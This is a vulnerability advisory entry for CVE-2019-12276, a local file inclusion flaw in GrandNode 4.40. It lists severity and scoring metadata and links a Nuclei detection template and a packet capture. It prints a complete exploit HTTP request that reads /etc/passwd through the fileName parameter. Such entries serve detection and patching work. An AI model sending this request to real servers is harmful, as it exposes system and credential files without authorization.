| Title | GrandNode 4.40 - Local File Inclusion |
|---|---|
| Author | daffainfo |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the entire system. |
| Remediation | A patch for this issue was made on 2019-05-30 in GrandNode 4.40. |
| CVSS Score | 7.5 |
| EPSS Score | 0.91643 |
| CVE ID | CVE-2019-12276 |
| CWE ID | CWE-22 |
| Tags | cve cve2019 packetstorm lfi grandnode vkev vuln |
GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests.
GET /LetsEncrypt/Index?fileName=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.1
Accept: */*
Accept-Language: en
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-12276.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-12276.pcap
N/AN/A